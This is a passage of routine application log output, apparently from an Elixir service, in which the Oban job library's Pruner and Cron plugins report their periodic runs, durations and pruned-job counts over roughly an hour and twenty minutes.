{"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:00.904 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:21:02.138 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:32.141 [info] {"source":"oban","duration":2238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:00.906 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:22:02.144 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:32.147 [info] {"source":"oban","duration":2091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.908 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:23:02.150 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:32.153 [info] {"source":"oban","duration":1787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:00.909 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:24:02.156 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:32.159 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.911 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:25:02.162 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:32.165 [info] {"source":"oban","duration":1738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:00.912 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:26:02.168 [info] {"source":"oban","duration":1829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:32.171 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:00.914 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:27:02.174 [info] {"source":"oban","duration":1708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:32.177 [info] {"source":"oban","duration":1676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:00.916 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:28:02.180 [info] {"source":"oban","duration":1597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:32.183 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:00.918 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:29:02.184 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:32.187 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:00.920 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:30:02.191 [info] {"source":"oban","duration":2419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:32.193 [info] {"source":"oban","duration":1740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.922 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:31:02.196 [info] {"source":"oban","duration":2016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:32.199 [info] {"source":"oban","duration":1980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:00.923 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:32:02.202 [info] {"source":"oban","duration":1662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:32.205 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:00.924 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:33:02.208 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:32.210 [info] {"source":"oban","duration":2010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:00.925 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:34:02.212 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:32.215 [info] {"source":"oban","duration":1905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:00.927 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:35:02.218 [info] {"source":"oban","duration":2029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:32.221 [info] {"source":"oban","duration":2174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:00.929 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:36:02.224 [info] {"source":"oban","duration":2096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:32.227 [info] {"source":"oban","duration":2037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:00.930 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:37:02.230 [info] {"source":"oban","duration":2120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:32.233 [info] {"source":"oban","duration":1744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:00.932 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:38:02.236 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:32.237 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:00.934 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:39:02.240 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:32.243 [info] {"source":"oban","duration":1735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:00.936 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:40:02.246 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:32.248 [info] {"source":"oban","duration":2311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:00.937 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:41:02.251 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:32.253 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:00.938 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:42:02.256 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:32.258 [info] {"source":"oban","duration":1746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:00.940 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:43:02.261 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:32.263 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:00.941 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:44:02.266 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:32.269 [info] {"source":"oban","duration":1690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:00.943 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:45:02.272 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:32.275 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:00.945 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:46:02.278 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:32.280 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:00.947 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:47:02.283 [info] {"source":"oban","duration":2006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:32.286 [info] {"source":"oban","duration":1789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:00.949 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:48:02.289 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:32.291 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:00.951 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:49:02.294 [info] {"source":"oban","duration":2207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:32.297 [info] {"source":"oban","duration":1722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:00.952 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:50:02.300 [info] {"source":"oban","duration":1988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:32.303 [info] {"source":"oban","duration":1723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:00.952 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:51:02.306 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:32.308 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:00.954 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:52:02.310 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:32.313 [info] {"source":"oban","duration":2236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:00.955 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:53:02.316 [info] {"source":"oban","duration":1995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:32.319 [info] {"source":"oban","duration":2342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:00.956 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:54:02.322 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:32.325 [info] {"source":"oban","duration":2235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:00.958 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:55:02.328 [info] {"source":"oban","duration":2106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:32.331 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:00.960 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:56:02.334 [info] {"source":"oban","duration":2146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:32.337 [info] {"source":"oban","duration":2286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:00.962 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:57:02.340 [info] {"source":"oban","duration":1938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:32.343 [info] {"source":"oban","duration":2001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:00.964 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:58:02.346 [info] {"source":"oban","duration":1697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:32.349 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.966 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:59:02.352 [info] {"source":"oban","duration":1637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:32.354 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.968 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:00:02.357 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:32.360 [info] {"source":"oban","duration":2222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:00.970 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:01:02.363 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:32.366 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:00.972 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:02:02.369 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:32.371 [info] {"source":"oban","duration":2078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:00.973 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:03:02.374 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:32.377 [info] {"source":"oban","duration":1706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:00.975 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:04:02.380 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:32.383 [info] {"source":"oban","duration":1753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:00.977 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:05:02.386 [info] {"source":"oban","duration":1809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:32.389 [info] {"source":"oban","duration":2263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:00.979 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:06:02.392 [info] {"source":"oban","duration":2088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:32.394 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:00.981 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:07:02.396 [info] {"source":"oban","duration":1612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:32.399 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:00.983 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:08:02.401 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:32.404 [info] {"source":"oban","duration":2067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:00.984 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:09:02.407 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:32.410 [info] {"source":"oban","duration":2115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:00.986 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:10:02.413 [info] {"source":"oban","duration":2110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:32.416 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:00.988 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:11:02.419 [info] {"source":"oban","duration":2064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:32.422 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:00.990 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:12:02.425 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:32.428 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:00.991 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:13:02.431 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:32.434 [info] {"source":"oban","duration":2326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:00.993 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:14:02.437 [info] {"source":"oban","duration":1644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:32.440 [info] {"source":"oban","duration":1801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:00.995 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:15:02.443 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:32.446 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:00.996 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:16:02.448 [info] {"source":"oban","duration":2164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:32.451 [info] {"source":"oban","duration":2050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:00.998 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:17:02.454 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:32.456 [info] {"source":"oban","duration":2028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:01.000 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:18:02.459 [info] {"source":"oban","duration":2081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:32.462 [info] {"source":"oban","duration":2287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:00.001 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:19:02.465 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:32.468 [info] {"source":"oban","duration":2142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:00.003 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:20:02.472 [info] {"source":"oban","duration":2339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:32.474 [info] {"source":"oban","duration":2039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:00.005 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:21:02.477 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:32.480 [info] {"source":"oban","duration":1999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:00.006 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:22:02.483 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:32.486 [info] {"source":"oban","duration":2204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:00.007 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:23:02.489 [info] {"source":"oban","duration":2143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:32.492 [info] {"source":"oban","duration":2056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:00.009 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:24:02.495 [info] {"source":"oban","duration":2016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:32.498 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:00.011 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:25:02.501 [info] {"source":"oban","duration":2066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:32.504 [info] {"source":"oban","duration":1765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:00.012 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:26:02.507 [info] {"source":"oban","duration":2121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:32.510 [info] {"source":"oban","duration":1956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:00.013 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:27:02.513 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:32.516 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:00.014 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:28:02.519 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:32.522 [info] {"source":"oban","duration":1721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:00.015 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:29:02.525 [info] {"source":"oban","duration":1955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:32.528 [info] {"source":"oban","duration":1884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:00.017 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:30:02.531 [info] {"source":"oban","duration":1945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:32.534 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:00.019 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:31:02.537 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:32.540 [info] {"source":"oban","duration":2106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:00.020 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:32:02.543 [info] {"source":"oban","duration":2039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:32.547 [info] {"source":"oban","duration":2984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 18:33:00.022 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:33:02.549 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:32.551 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:00.024 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:34:02.554 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:32.557 [info] {"source":"oban","duration":1683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:00.026 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:35:02.560 [info] {"source":"oban","duration":2068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:32.563 [info] {"source":"oban","duration":2368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:00.027 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:36:02.566 [info] {"source":"oban","duration":1988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:32.569 [info] {"source":"oban","duration":1688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:00.028 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:37:02.572 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:32.575 [info] {"source":"oban","duration":2220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:00.029 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:38:02.578 [info] {"source":"oban","duration":1771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:32.581 [info] {"source":"oban","duration":2011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:00.031 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:39:02.584 [info] {"source":"oban","duration":1664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:32.587 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:00.033 [info] 